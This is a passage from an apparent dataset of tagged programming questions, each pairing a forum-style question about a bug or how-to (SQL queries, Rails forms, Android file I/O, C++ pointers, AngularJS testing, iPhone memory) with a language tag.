nc.entities.server.dll!networkcatcher.entities.server.calculatedfcstatemanager.populate() line 98 + 0x2c bytes  c# nc.entities.server.dll!networkcatcher.entities.server.runmanager.initialize() line 500 + 0x1c bytes c# nc.entities.server.dll!networkcatcher.entities.server.entrypoint.onstart() line 63 + 0x5 bytes  c# shunra.infra.dll!shunra.infra.entrypoint.start() line 37 + 0xb bytes    c# shunra.common.dll!shunra.common.wcf.shunraservicehost.onopening() line 47 + 0x11 bytes  c# system.servicemodel.dll!system.servicemodel.channels.communicationobject.open(system.timespan timeout) + 0x113 bytes     system.servicemodel.dll!system.servicemodel.channels.communicationobject.open() + 0x25 bytes     nc.server.host.exe!networkcatcher.server.host.ncserverinstance.starthosts() + 0xef bytes     shunra.common.dll!shunra.common.wcf.shunraserverinstance&lt;networkcatcher.server.host.ncserverinstance networkcatcher.server.host.serverhost&gt;.run() line 357 + 0xb bytes  c# nc.server.host.exe!networkcatcher.server.host.program.main(string[] args) + 0x84 bytes   </code></pre>   finally  the two assemblies - shunra.common.dll and nc.entities.server.dll belong to the same codebase. nc.entities.server.dll is loaded from the private bin folder located immediately below the root folder  where shunra.common.dll lives.    everything worked just fine  until i decided to run the code under another account. so  i created a new account  made it an admin and opened an elevated console window under this account. the account has access to all the files. still  when i run the application i get this error and i am completely lost at it.    any ideas     thanks.,.net
php file_get_contents and &amp;  i m trying to use php s file_get_content( a url );    the thing is if the url has  &amp;  in it  for example    <code>file_get_contents( http://www.google.com/ var1=1&amp;var2=2 )</code>     it automatically make a requests to <code>www.google.com/ var1=1&amp;amp;var2=2</code>     how do i prevent that from happening,php
can i develop for asp.net 4.6 after installing asp.net core 1 update   at my job we re developing with the asp.net framework. unfortunately i updated to asp.net core 1 by a mistake on my computer. can i still work with code made for previous versions of asp.net,asp.net
how do i group by a datetime with an offset   i have a database that has two columns. <code>day</code>  a <code>datetime</code> column  and <code>overall</code>  an <code>int</code>. users are asked to record data once per hour. however  if the user is asleep there will be no new data.    i m trying to get the daily average. i currently have this query:   <pre><code>select day  avg(overall) as overall from log group by date(day) </code></pre>   however  if there is an entry for the early morning (1-4am)  it will be grouped with the <em>previous</em> day s average.  for example  february 2nd at 1am should be averaged with the data for february 1st.    how do i <code>group by</code> with an offset so that the early morning will be included in the previous day s average,mysql
mysql - using not in in case statement  i would like to somehow use the not in term inside a case statement  but i m getting a syntax error.  i want is to set tribqin=0 whenever a certain number (14  in this case) does not appear within the t.segment column.   <pre><code>select distinct f.jday           f.tl6 as  originallayer       case         when 14 not in t.segment then 0         else                  (select t.flow                 from trib_data as t                 where t.jday&lt;=f.jday and t.segment=14 and t.year=2000                 order by t.jday desc limit 1)     end as  tribqin  from flexgridlayers as f inner join trib_data as t on t.segment=f.segment where f.year=2000 and f.segment=14 order by f.jday; </code></pre>   the error i m getting is:   <pre><code>[err] 1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  t.segment then 0         else                  (select t.flow                 from trib_data as t                   at line 4 </code></pre>,mysql
has and belongs to many through save and update  here are my models:   <pre><code>class examination &lt; activerecord::base     has_many :categorizations     has_many :exam_statuses   :through =&gt; :categorizations end  class categorization &lt; activerecord::base     belongs_to :examination     belongs_to :exam_status end  class examstatus &lt; activerecord::base     has_many :categorizations     has_many :examinations  :through =&gt; :categorizations end </code></pre>   i can assign relations from the console without any problem by typing;   <pre><code>e = examination.first e.exam_status_ids = [1 2] </code></pre>   and also in the examinations/index.html.erb file i can list exam_statuses without any problem.    the problem is  i can t update or create any exam_status relations from <strong>examinations/_form.html.erb</strong> file!    i m trying to make this with simple_form:   <pre><code>&lt;%= f.association :exam_statuses    as: :check_boxes  label:  sınavın durumu  %&gt; </code></pre>   its listing all the statuses with checkboxes but not updating them.    <strong>logs saying:</strong>   <blockquote>     unpermitted parameters: exam_status_ids   </blockquote>   and finally my controller  which is generated by  scaffold  by default  for update is:   <pre><code>  def update   respond_to do |format|   if @examination.update(examination_params)     format.html { redirect_to @examination  notice:  examination was successfully updated.  }     format.json { head :no_content }   else     format.html { render action:  edit  }     format.json { render json: @examination.errors  status: :unprocessable_entity }   end end end </code></pre>,ruby-on-rails
android write / read text  hey guys  i have this code for an android application  the funny thing is that data is never equal to datas  can you guys explain me why  and if in case give me new read / write file functions :/   thanks   <pre><code>   string datas =  volume of ;     writesettings(datas);     string data = readsettings();     string data2 =  volume of ;     if (data == datas) {      system.out.println( success );     }     system.out.println(data);     system.out.println(data.length());     system.out.println(datas.length()); } // write settings public void writesettings(string data){      try {         fileoutputstream fout = openfileoutput( settings.dat   mode_world_readable);   outputstreamwriter osw = new outputstreamwriter(fout);    osw.write(data);   osw.flush();   osw.close();  }catch(exception e){   e.printstacktrace(system.err);  } } public string readsettings(){  try {   fileinputstream fin = openfileinput( settings.dat );   inputstreamreader isr = new inputstreamreader(fin);   char[] inputbuffer = new char[9];   isr.read(inputbuffer);   string readstring = new string(inputbuffer);   datax = readstring;   isr.close();  } catch (ioexception ioe) {   ioe.printstacktrace();  }  return datax; } </code></pre>,android
how to convert a float pointer to an int pointer in c/c++   i understand that reinterpret_cast may do it  but i think it did not do the data conversion. i don t want to loop over and do them one by one  and wonder whether there is an elegant way to do both the pointer type and data type conversion. thanks!,c++
angularjs: how do you use ng-show   i m trying to check if something exists and show a button based on that. what am i doing wrong and how can i fix it     my code looks like this:   <pre><code>$scope.isurl = function(url) {     $http.get(url).success(function (data) {         if (data === 302) {             return true         }     }); }; </code></pre>   my html:   <pre><code>&lt;ul ng-repeat= foo in foos &gt;     &lt;button ng-hide= isurl(foo.url) &gt;visit site&lt;/button&gt;     &lt;button ng-show= isurl(foo.url) &gt;remove bookmark &lt;/button&gt; &lt;/ul&gt; </code></pre>   error loop i m getting:   <pre><code>error: [$rootscope:infdig] 10 $digest() iterations reached. aborting! watchers fired in the last 5 iterations: [] </code></pre>,angularjs
adding noise to a signal in python  i want to add some random noise to some 100 bin signal that i am simulating in python - to make it more realistic.    on a basic level  my first thought was to go bin by bin and just generate a random number between a certain range and add or subtract this from the signal.    i was hoping (as this is python) that there might a more intelligent way to do this via numpy or something. (i suppose that ideally a number drawn from a gaussian distribution and added to each bin would be better also.)    thank you in advance of any replies.   <hr>   i m just at the stage of planning my code  so i don t have anything to show. i was just thinking that there might be a more sophisticated way of generating the noise.    in terms out output  if i had 10 bins with the following values:    bin 1: 1 bin 2: 4 bin 3: 9 bin 4: 16 bin 5: 25 bin 6: 25 bin 7: 16 bin 8: 9 bin 9: 4 bin 10: 1    i just wondered if there was a pre-defined function that could add noise to give me something like:    bin 1: 1.13 bin 2: 4.21 bin 3: 8.79 bin 4: 16.08 bin 5: 24.97 bin 6: 25.14 bin 7: 16.22 bin 8: 8.90 bin 9: 4.02 bin 10: 0.91    if not  i will just go bin-by-bin and add a number selected from a gaussian distribution to each one.    thank you.   <hr>   it s actually a signal from a radio telescope that i am simulating. i want to be able to eventually choose the signal to noise ratio of my simulation.,python
join table and maintain same amount of rows based on value in a column  i have a query:   <pre><code>select t.user_id  c.code  from transactions t  inner join user u on t.user_id = u.user_id  inner join company c on c.code = u.code </code></pre>   which returns this result set:   <pre><code>user id     code ----------------- 01          100 02          100 03          100 03          120 </code></pre>   then i have table <code>interactions</code> (for example)  which lists every interaction with code:   <pre><code>code     interaction     worked_yn ----------------------------------- 100      sample 01       y 100      sample 02       y 120      sample 03       n 120      sample 04       n etc. </code></pre>   the <code>code</code> column values should always have the same outcome (ie. 100 will always be y and 120 will always be n).    how do i join table <code>interactions</code> without having every interaction  so that i can have the following output:   <pre><code>user id     code    worked_yn ----------------------------- 01          100     y 02          100     y 03          100     y 03          120     n </code></pre>,sql
how to pass a selection in a datagrid to show another datagrid  i have two gridviews on a page the first datagrid(requestgrid) is populated by using a stored procedure which has a parameter and that parameter is fed by the querystring.    the other grid in the page only needs to be displayed when i select a row in the first datagrid.iam able to get the requestid from the selection using below code   <pre><code>void requesttbl_rowcommand(object sender  gridviewcommandeventargs e)         {             if (e.commandname.equals( clickrequestid ))             {                  requesttbl.visible = false;                 int requestid = (int)e.commandargument;                }         } </code></pre>   my question is how do i use this requestid to pass it as a parameter to the second gridview    below code is my second grid view code in the markup page   <pre><code>&lt;asp:gridview id= selectedreports  runat= server  autogeneratecolumns= false               datasourceid= showselectedreports  enablemodelvalidation= true &gt;             &lt;columns&gt;                 &lt;asp:boundfield datafield= requestid  headertext= requestid                       sortexpression= requestid  /&gt;                 &lt;asp:boundfield datafield= rptdesctext  headertext= rptdesctext                       sortexpression= rptdesctext  /&gt;                 &lt;asp:boundfield datafield= completeddt  headertext= completeddt                       sortexpression= completeddt  /&gt;                 &lt;asp:boundfield datafield= analyst  headertext= analyst  readonly= true                       sortexpression= analyst  /&gt;             &lt;/columns&gt;         &lt;/asp:gridview&gt;         &lt;asp:sqldatasource id= showselectedreports  runat= server               connectionstring= &lt;%$ connectionstrings:underwritingconnectionstring %&gt;               selectcommand= showcustomerselectedrequests               selectcommandtype= storedprocedure &gt;             &lt;selectparameters&gt; how do i use the requestid as a parameter here**strong text**                            &lt;/selectparameters&gt;         &lt;/asp:sqldatasource&gt; </code></pre>   thanks in advance,asp.net
why this object reference not set to an instance of an object   on this page(newstudent.aspx.cs) it works fine  no error!!!      <pre><code>sds.student_selectdatatable sdt = new sds.student_selectdatatable(); sdstableadapters.student_selecttableadapter sadapter = new sdstableadapters.student_selecttableadapter();  protected void page_load(object sender  eventargs e) {  }  protected void btnregister1_click(object sender  eventargs e) {     lbldob.text =   ;     lblgender.text =   ;      if (drpdd.selectedindex == 0 &amp;&amp; drpmm.selectedindex == 0 &amp;&amp; drpyy.selectedindex == 0)     {         lbldob.text =  select your birthdate ;     }     else if (drpgender.selectedindex == 0)     {         lblgender.text =  please select gender ;     }     else     {         int a = sadapter.insert(txtserno.text  txtsfname.text  txtslname.text  txtsadd.text  txtscity.text  txtsstate.text  txtspin.text  convert.todatetime(drpdd.selecteditem.text +     + drpmm.selecteditem.text +     + drpyy.selecteditem.text)  drpgender.selecteditem.tostring()  txtsmono.text  txtseid.text  txtsuname.text  txtspass.text);          if (a == 1)         {             session[ serno ] = txtserno.text;             string test = session[ serno ].tostring();             response.redirect( addeducation.aspx );             clean();          }     } } </code></pre>   but on this page(<code>addeducation.aspx.cs</code>) i kept getting  object reference not set to an instance of an object .  here is the code for this page   <pre><code>sdstableadapters.select_addedutableadapter eadapter = new     sdstableadapters.select_addedutableadapter();   protected void page_load(object sender  eventargs e) {     if (page.ispostback == false)     {                    txterlno.text = session[ serno ].tostring();     } }   protected void btnsbmit_click(object sender  eventargs e) {     lbledu.text =   ;     lblbranch.text =   ;     lblpassyr.text =   ;     lblskill.text =   ;     lblmsg.text =   ;     lblresume.text =   ;     if(drpsem.selectedindex == 0)     {         lblsem.text =  !!! ;     }     else if (drpedu.selectedindex == 0)     {         lbledu.text =  !!! ;      }     else if (drpbranch.selectedindex == 0)     {         lblbranch.text =  !!! ;      }     else if (drppassyear.selectedindex == 0)     {         lblpassyr.text =  !!! ;      }     else if (drpreqskill.selectedindex == 0)     {         lblskill.text =  !!! ;     }      else     {         if (furesume.hasfile)         {             furesume.saveas(server.mappath( ~/resume/  + furesume.filename.tostring()));             string resume =  ~/resume/  + furesume.filename.tostring();             int ist = eadapter.insert(convert.toint32(session[ sid ].tostring())  txtclgname.text  txterlno.text  drpsem.selecteditem.text  drpedu.selecteditem.text  drpbranch.selecteditem.text  drppassyear.selecteditem.text  convert.todouble(txtcpi.text)  convert.todouble(txtcgpa.text)  drpreqskill.selecteditem.text  txtexskill.text  resume);          if (ist == 1)         {                 lblmsg.text =  add successfully.. ;                 clean();                 response.redirect( home.aspx );             }         }         else         {             lblresume.text =  !!! ;             lbledu.text =   ;             lblbranch.text =   ;             lblpassyr.text =   ;         }     } </code></pre>   what s wrong please help please.,asp.net
asp .net upgrade to .net or move to mvc  i m fairly new to the .net asp and mvc. my company has developed an application using asp2. they are considering upgrades:    i d like to know what the big advantages would be in moving to asp .net 4 and also would there be even greater advantages in using mvc4.     just some background. the application is internal and will not face the outside world. it s not a big application with 3-4 users / time at the most. most of the application is made up of screens used to edit detail records and some reporting screens.    thanks in advance    richard,asp.net
c# searching a list of integer arrays  i have a list of int arrays.    how do i search for a specific <code>int[]</code>     example:     <pre><code>var listintarray = new list&lt;int[]&gt;();  listintarray.add(new int[] { 1  2  3  4  5  6 });  var array1 = new int[] { 1  2  3  4  5  6 }; bool contains1 = listintarray.contains(array1); //--&gt; should be true  var array2 = new int[] { 4  5  6 }; bool contains2 = listintarray.contains(array2); //--&gt; should be false </code></pre>,c#
mocking and testing an angular resource and function in a directive test using jasmine  i m going through the process of refactoring my controller function into more streamlined ones in my directives.    am reasonably new to angular and am running into problems mocking and testing my promises within the directives.    within the function  i call a box.reboot() from the directive rebootbox.   <pre><code>app.directive( rebootbox   [ box   function(box) {   return {     restrict:  a       link: function( scope  element  attrs ) {       element.bind(  click   function() {         box.reboot({id: scope.box.slug}).$promise.then(function(results) {           scope.box.state =  rebooting ;         }  function(errors) {           scope.box.errors = true;         })       });     }   } }]) </code></pre>   my tests pass in the controller specs because i am able to do something like this:   <pre><code>fakefactory = {   reboot: function () {     deferred = q.defer();     return {$promise: deferred.promise};   }     ... }  mainctrl = $controller( mainctrl   {   $scope: scope    box: fakefactory  }); </code></pre>   however  i can t get my head around how i am supposed to do this in my directive test     i ve tried this but i don t understand how i can mock what i did in the controller  ie:   <pre><code>box: fakefactory </code></pre>   my directive test looks like this so far:   <pre><code>describe( box reboot   function () {    var $scope        element        deferred        q        boxfactory;    beforeeach(module( myapp ));    beforeeach(inject(function($compile  $rootscope  $q) {     $scope = $rootscope;     q = $q;     element = angular.element( &lt;div reboot-box&gt;&lt;/div&gt; );     $compile(element)($rootscope)      boxfactory = {       reboot: function () {         deferred = q.defer();         return {$promise: deferred.promise};       }     };    }))    it( should reboot a box   function() {     spyon(boxfactory   reboot ).andcallthrough()      $scope.box = {}     element.click();      deferred.resolve({slug: 123});     $scope.$apply()      expect(boxfactory.reboot).tohavebeencalled();    });   ... </code></pre>   obvs. it fails because i m spying on boxfactory.    what is the best way to go about testing such a function     --- edit ----    further to the comment below  i ve used $provide to mock the service call:   <pre><code>  beforeeach(module( myapp   function($provide) {     boxfactory = {       get: function () {         deferred = q.defer();         return {$promise: deferred.promise};       }        reboot: function () {         deferred = q.defer();         return {$promise: deferred.promise};       }      };     $provide.value( box   boxfactory); </code></pre>   i can now call deferred.resolve successfully and all my tests pass bar one.   <pre><code>expect(boxfactory.reboot).tohavebeencalled(); </code></pre>   is there a specific reason why this fails and how can i get it to pass,angularjs
how to compile c++ program with pngwriter  i m trying to make a png file using <a href= http://pngwriter.sourceforge.net/  rel= nofollow > pngwriter </a>. i m using ubuntu as my os. i ve put these following files in /home/ediamin/png/ folder 1.png.h  2.pngconf.h  3.pngwriter.h  4.test.cpp  5.zconf.h  6.zlib.h    my test.cpp contains this codes   <pre><code>#include&lt;iostream&gt; #include  pngwriter.h  using namespace std;  int main() { int i; int y;  pngwriter png(300 300 0  test.png );  for(i = 1; i &lt; 300;i++) {     y = 150+100*sin((double)i*9/300.0);     png.plot(i y  0.0  0.0  1.0); }  png.close();  return 0; } </code></pre>   now i m trying to compile with this command    <pre><code>g++ -o test test.cpp -dno_freetype </code></pre>   and it gives me following errors    <pre><code>/tmp/cclr9szo.o: in function `main : test.cpp:(.text+0x30): undefined reference to `pngwriter::pngwriter(int  int  double  char const*)  test.cpp:(.text+0x72): undefined reference to `pngwriter::filledcircle(int  int  int  double  double  double)  test.cpp:(.text+0x7e): undefined reference to `pngwriter::close()  test.cpp:(.text+0x8f): undefined reference to `pngwriter::~pngwriter()  test.cpp:(.text+0xa4): undefined reference to `pngwriter::~pngwriter()  collect2: ld returned 1 exit status </code></pre>   what should i do  please note that  i don t want to install any library file  that s why i put the header files in the same folder.,c++
fetch date only in jsp  i have tried one program which displays the full date format in jsp.   <pre><code>&lt;%@page contenttype= text/html  import= java.util.*  %&gt;   &lt;html&gt; &lt;body&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div align= center &gt; &lt;center&gt; &lt;table border= 0  cellpadding= 0  cellspacing = 0  width= 460  bgcolor= #eeffca &gt;  &lt;tr&gt; &lt;td width= 100% &gt;&lt;font size= 6  color = #008000 &gt;&amp;nbsp;date example&lt;/font&gt;&lt;/td&gt;  &lt;/tr&gt; &lt;tr&gt; &lt;td width= 100% &gt;&lt;b&gt;&amp;nbsp;current date  and time is:&amp;nbsp; &lt;font color= #ff0000 &gt;   &lt;%= new java.util.date() %&gt; &lt;/font&gt;&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/center&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the output i got is sun mar 13 12:08:41 ist 2011 i need only the date. how can i get it     thanks in advance.,html
c++: bug in read file  a newbie to c++ here. i m trying to implement a mesh simplification algorithm in c++. i m encountering some very strange thing here.   <pre><code>void mesh::loadmf(const char* filename) {     init();     std::ifstream infile;     infile.open(filename  std::ios::in);     std::string strbuff;     while (std::getline(infile  strbuff)) {         std::stringstream ss;         ss &lt;&lt; strbuff;         char type;         ss &gt;&gt; type;         if (type ==  v ) {             vertex* v;             ss &gt;&gt; v-&gt;x &gt;&gt; v-&gt;y &gt;&gt; v-&gt;z;             print(v-&gt;x);             v.push_back(v);         }     }     infile.close(); } </code></pre>   what the <code>loadmf</code> method of the <code>mesh</code> class does is that it reads a .mesh file and loads the vertices that exist in this mesh.    the .mesh file has the following content:   <pre><code>v 3.201600 -1.456025 1.928155 v 3.520754 -1.658353 2.036948 v 3.121542 -1.461538 2.045325 v 3.020618 -1.278575 1.711228 f 1 2 3 f 2 3 4 </code></pre>   (since there is not yet any bug for the <code>type ==  f </code> part  i did not include it here.)    and i m executing the real mesh simplification in the following code block.   <pre><code>void mesh::simplifymesh(const char* input  const char* output  int facecnt) {     //  you may assume inputs are always valid.     loadmf(input);     std::cout &lt;&lt;  original face count:   &lt;&lt; f.size() &lt;&lt; std::endl;      print((*v[0]).x);     print((*v[1]).x);     print((*v[2]).x);     print((*v[3]).x);      //  and other fanciful stuff.     //  so on  omitted here. </code></pre>   as you can see  i m trying to use <code>print</code> to debug here. the bug i m having is that although for the <code>print</code> statement in the <code>loadmf</code> function (i.e. <code>print(v-&gt;x)</code>)  it successfully prints the different x values out  for the <code>print</code> statement in the <code>simplifymesh</code> function  it only prints the last x value. that is  it prints 3.020618 for consecutively four times. and no matter how many <code>v</code>s i have in the .mesh file  it always only print the last number.    i have also included the vertex definition if it helps.   <pre><code>struct vertex {     //  3d coordinates.     float x;     float y;     float z; } </code></pre>   anybody has any idea how to solve this bug,c++
using the getname method  include the following:   <ol> <li>a method getfirstname that will return a student object s first name</li> <li>a method getlastname that will return a student object s last name</li> <li>a statement to print  the student s first name is   with your first name returned from the getfirstname method.</li> <li>a statement to print  the student s last name is   with your last name returned from the getlastname method. </li> </ol>   this is what i have so far:   <pre><code>public class student {     //the student s full name     string firstname;     string lastname;      /**     * create a new student with a given name a     */     public student(string name)     {         firstname = name;         lastname = name;     }        /**     * return the first name of this student     */     public string getfirstname()     {         return firstname;     }      /**     * return the last name of this student     */     public string getlastname()     {         return lastname;     }      public static void main(string[] args)     {         //gives a name to the students         student firstname = new student( samantha );         student lastname = new student( jones );          //each object calls the getname method         system.out.println( the students first name is:   +student.getfirstname());         system.out.println( the students last name is:   +student.getlastname());     } } </code></pre>,java
actionview::template::error missing partial view  need help!!!! i am new to rails. i tried many solution but could not able to solve this issue. i used simple form  cocoon  and  haml to handle nested form for  has_many :through  relation( its many to many relation). i want to save deals and menuitems that come from the db. but it can t render _deal_menuitem_fields.html.haml it says partial view is missing.    thats my  _form.html.haml  file.   <pre><code>.sidenav = link_to  dashboard   controller:  dashboard    :action =&gt;  dashboard_manager  = link_to  restaurant   controller:  restaurants    :action =&gt;  index  = link_to  branch   controller:  branches    :action =&gt;  index  = link_to  menu items   controller:  menuitems    :action =&gt;  index  = link_to  deals   controller:  deals    :action =&gt;  index  = link_to  orders   controller:  dashboard    :action =&gt;  dashboard_manager  = link_to  user   controller:  users    :action =&gt;  index  .logout_sidebar_button     = link_to  logout   destroy_user_session_path  method: :delete  .main = simple_form_for @deal  html: {multipart: true} do |f|     - if @deal.errors.any          #errors             %p                 #{@deal.errors.count} prevented this deal from saving             %ul                 -@deal.errors.full_messages.each do |msg|                      %li = msg     .panel-body         =f.association :restaurant  label_method: :restaurant_name  value_method: :id  include_blank: false         = f.input :deal_name  input_html: {class: form-control }         = f.input :deal_description  input_html: {class: form-control }         = f.input :deal_price  input_html: {class: form-control }         = f.input :deal_rating  input_html: {class: form-control }         = f.input :deal_quantity  input_html: {class: form-control }         = f.input :deal_preptime  hint:  time should be in this format  hh:mm:ss     input_html: {class: form-control }         = f.input :image  input_html: {class: form-control }         =f.simple_fields_for :deal_menuitems do |deal_menuitem|             = render deal_menuitem_fields   f: deal_menuitem         = link_to_add_association  add an item   f  :deal_menuitems     =f.button :submit  class:  btn btn-primary       %br/  = link_to  back   {:controller =&gt;  deals   :action =&gt;  index }  class:  btn btn-default  </code></pre>   and thats my _deal_menuitem_fields.html.haml file.   <pre><code>.nested-fields.deal-menuitem-fields .form-inline     .menuitem_from_list         = f.association :menuitem  collection: menuitem.order(:menuitem_name)  prompt:  choose an item   label: false         = f.input :menuitem_name     = link_to_add_association  or create a new item   f  :menuitem  class:  add-tag      = link_to_remove_association f  class:  remove-tag btn btn-default btn-xs  do         .glyphicon.glyphicon-remove </code></pre>   that s my controller deals_controller.rb   <pre><code>class dealscontroller &lt; applicationcontroller  before_action :find_deal  only: [:show  :edit  :update  :destroy]  def index    @deal = deal.all.order( created_at desc )  end  def show     end  def new    @deal = deal.new  end  def create   @deal = deal.new(deal_params)   if @deal.save     redirect_to @deal  notice:  successfully created new deal    else     render  new    end  end def edit end  def update  if  @deal.update(deal_params)     redirect_to @deal  else     render  edit   end      end  def destroy   @deal.destroy   redirect_to :controller =&gt;  deals   :action =&gt;  index   notice:   successfully deleted deal  end  private   def deal_params   params.require(:deal).permit(   :restaurant_id  :deal_name  :deal_description  :deal_price  :deal_rating  :deal_quantity  :deal_preptime  :image     deal_menuitems_attributes: [:id   :_destroy  :menuitem_id  menuitem_attributes: [:id  :_destroy  :menuitem_name]]   )  end   def find_deal      @deal = deal.find(params[:id])  end end </code></pre>   thats log from my console..   <pre><code>actionview::template::error (missing partial deals/_menuitem_fields  application/_menuitem_fields with {:locale=&gt;[:en]  :formats=&gt;[:html]  :variants=&gt;[]  :handlers=&gt;[:raw  :erb  :html  :builder  :ruby  :coffee  :jbuilder  :haml]}. searched in:  *  /home/niazi/desktop/servemeerepo/serveme/app/views   *  /var/lib/gems/2.3.0/gems/devise-4.4.3/app/views ):   2:    .form-inline   3:        .menuitem_from_list   4:            = f.input :menuitem   5:        = link_to_add_association  or create a new item   f  :menuitem  class:  add-tag    6:        = link_to_remove_association f  class:  remove-tag btn btn-default btn-xs  do   7:            .glyphicon.glyphicon-remove </code></pre>   thats my models   <pre><code>class deal &lt; applicationrecord   #database relationship     belongs_to :user  optional: true;    belongs_to :restaurant;     #belongs_to :branch;  #many to many    has_many :deal_menuitems   inverse_of: :deal;    has_many :menuitems  :through =&gt; :deal_menuitems  :class_name =&gt;  deal_menuitem ;     has_many :deal_orders;    has_many :orders   :through =&gt; :deal_orders;    accepts_nested_attributes_for :menuitems;        accepts_nested_attributes_for :deal_menuitems  allow_destroy: true    has_attached_file :image  styles: { medium:  200x200#  }    validates_attachment_content_type :image  content_type: /\aimage\/.*\z/  end   class dealmenuitem &lt; applicationrecord   belongs_to :deal;   belongs_to :menuitem;    accepts_nested_attributes_for :menuitem  :reject_if =&gt; :all_blank end  class menuitem &lt; applicationrecord   #database relationship   belongs_to :user  optional: true;   belongs_to :restaurant;   has_one :category;    #many to many    has_many :deal_menuitems  inverse_of: :menuitem;   has_many :deals  :through =&gt; :deal_menuitems;    has_many :menuitem_orders;   has_many :orders  :through =&gt; :menuitem_orders;    has_attached_file :image  styles: { medium:  200x200#  }   validates_attachment_content_type :image  content_type: /\aimage\/.*\z/ end </code></pre>,ruby-on-rails
how to input stream by cin for more than 2 variable  i have problem with c++ streams. i need to input some digits and program should compare that  strings  and mark as  const   grove  etc. main problem how to input those digits when i don t know how many user want to enter. i think the best idea is using -1 as last  identifier  of end. but how to input those digits one by one (digit1[space]digit2[space]digit3[space]-1)  i try to do that    <pre><code>int main() {      int repeatcount = 0;     int stringcount = 0;     float digit1 = 0;     float digit2 = 0;      cout &lt;&lt;  how many strings you have   &lt;&lt; endl;     cin &gt;&gt; iloscpowtorzen;      while(stringcount != repeatcount)     {         cin &gt;&gt; digit2 &gt;&gt; digit2;         while (digit2 != -1)         {             //here i haven t got any idea         }         stringcount++;     }      system( pause );     return 0; } </code></pre>   example (how should it work):    input   <pre><code>&lt;&lt;how many strings you have  &gt;&gt;3 &gt;&gt;1 1 1 1 -1 &gt;&gt;1 2 3 4 -1 &gt;&gt;4 3 2 1 -1 </code></pre>   output   <pre><code>&lt;&lt;const &lt;&lt;grove &lt;&lt;decrease </code></pre>   sorry for my english.  regards,c++
copy cut paste iphone sdk  i have a uiwebview. in this  i want to catch when the user use the copy menu in order to copy selection into a pasteboard.    afterwards when the user touch a button  the content will be paste in a mail.    i want to intercept when the user click on copy or cut menu. so i had this two methods :   <pre><code>- (void)cut:(id)sender {     nslog(@ cuuuuuuuuuut ); }   - (void)copy:(id)sender {     nslog(@ copyyy ); } </code></pre>   when i click on the cut menu  nslog print cuuuuuuuuuut but when i click on the copy menu   nslog print nothing (copy method isn t called).    why,iphone
how to display a waiting dialog in android  i have a long task that requires 10 / 15 seconds. i want to display a dialog  or a view or other stuff to let the user know  hei! i m working for you. i m at 90% .    actually i have 3 layouts: the currentlayout  the progresslayout and the resultlayout. from the main activity i have a function like that:   <pre><code>... setcontentview(r.layout.progresslayout ); somelongtask(); setcontentview(r.layout.resultlayout); ... </code></pre>   but the progresslayout never shows.     what s the best way to do this,android
decimal formatting  adding the $ symbol  hi im asked to compare files once i write my code  and  in my file comparison  in myout1  compared to output 1.     (myout1) in my totalprice i have 0.0  and the (output1) totalprice is $0.00    is there something i should add to my code to add that money symbol     ive tried decimal format fmt = new decimalformat($0.00); ... or ($#.##)  ive added this to mytostring methods as ... totalprice + mny.format(totalprice)    but when i print i get 0.$00 or 0.0.0$. . i just cant seem to move that $ symbol ahead    is there something im missing or over looking     this is my code where i am adding this to,java
while and for loops with math  lists  even  odd  squares  so i got the following code in python 3  but the second part which is the sum of squares between 1 and 100 isn t quite working and need help trying to figure it out. also please if it can be simplified or changed just a bit like not using the def function because i really dont know how to use it well and just make it easier but getting the same exact results for the program i have to submit it on it d be great (it s very picky) thanks   <pre><code>a=2 b=101 c=2 first=[] second=[] third=[] fourth=[] for numseven in range (a b c):     first.append(numseven) print(sum(first)) print(2+2**2+3**2+4**2+6**2+7**2+8**2+9**2+10**2) print( 1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 ) for squarenums in range (1 101):       second.append(squarenums) def escuer(second):       return [i ** 2 for i in second] print(sum(escuer(second))) print(escuer(second)) d=int(input( type a number  )) e=int(input( and  another one  )) f=d-1 for odd in range(f e c):     third.append(odd) print(sum(third)) word=input( the numbers are *drums*  ) for wordisodd in range(len(word)):     fourth.append(wordisodd)     print(fourth) </code></pre>,python
is there any value in creating an integer object from an int   i was walking through some code and came across these lines:   <pre><code>public final static int cm_value = 0x200; public final static integer cm = new integer(cm_value); </code></pre>   do anyone know why the author held the value in hex before passing it back to <code>integer</code>  does doing it this way add any benefits to the code,java
c_str() custom implementation /  =  in the end of every string  i m trying to implement c_str() function of my custom string class. it seems to work  but for some reason it prints  =  in the end of every string:   <pre><code>const char* c_str()     {                char* temp = alloc.allocate(data.size() + 1);         uninitialized_copy(data.begin()  data.end()  temp);         temp[data.size()+1] =  \0 ;         return temp;     } </code></pre>   private part of str class:   <pre><code>private:     vec&lt;char&gt; data;     allocator&lt;char&gt; alloc; </code></pre>   *vec is basically vector.   <pre><code>int main() {     str s1 =  hello  beee ;     cout &lt;&lt; s1.c_str();     return 0; } </code></pre>   where am i wrong,c++
autorelease pool  i was hoping someone could help me with a memory issue on the iphone.    i have a scrollview that is part of a nav controller.    whenever i first push the nav controller and scroll through the scrollview (adding images as i go)  memory is allocated in huge chunks (say 1mb each).    if i rotate the display a couple of times  the memory is freed  and everything is fine:  the scrollview works correctly and the memory returns to where it should be (around 1mb  looking at the net alloc in instruments).    how can i keep the memory from going wild  or free it up during use of the scrollview  just as the device rotation does     here is the code snippet that is called to load the scrollview page:   <pre><code>- (void)loadpage:(int)page iscurrent:(bool)iscurrent { if (page &lt; 0) return; if (page &gt;= totalrows) return; picviewcontroller *controller = [[picviewcontroller alloc] init]; if ((nsnull *)[viewcontrollers objectatindex:page] == [nsnull null]) {         nsstring *fullpath = [self fullpath];     if([filemanager fileexistsatpath:fullpath]) {         currentimage=[uiimage imagewithcontentsoffile:fullpath];         [controller setimg:currentimage];         [viewcontrollers replaceobjectatindex:page withobject:controller];     }     else {             asyncimageview* asyncimage = [[asyncimageview alloc] initwithframe:[[uiscreen mainscreen] applicationframe]];             asyncimage.tag = 8;             [asyncimage loadimagefromname:imagename withurl:url];             [controller.view addsubview:asyncimage];             [asyncimage release];             [viewcontrollers replaceobjectatindex:page withobject:controller];         }         if (nil == controller.view.superview) {             cgrect frame = scrollview.frame;             frame.origin.x = frame.size.width * page;             frame.origin.y = 0;             controller.view.frame = frame;             [scrollview addsubview:controller.view];         }     [controller release];     } </code></pre>   },iphone
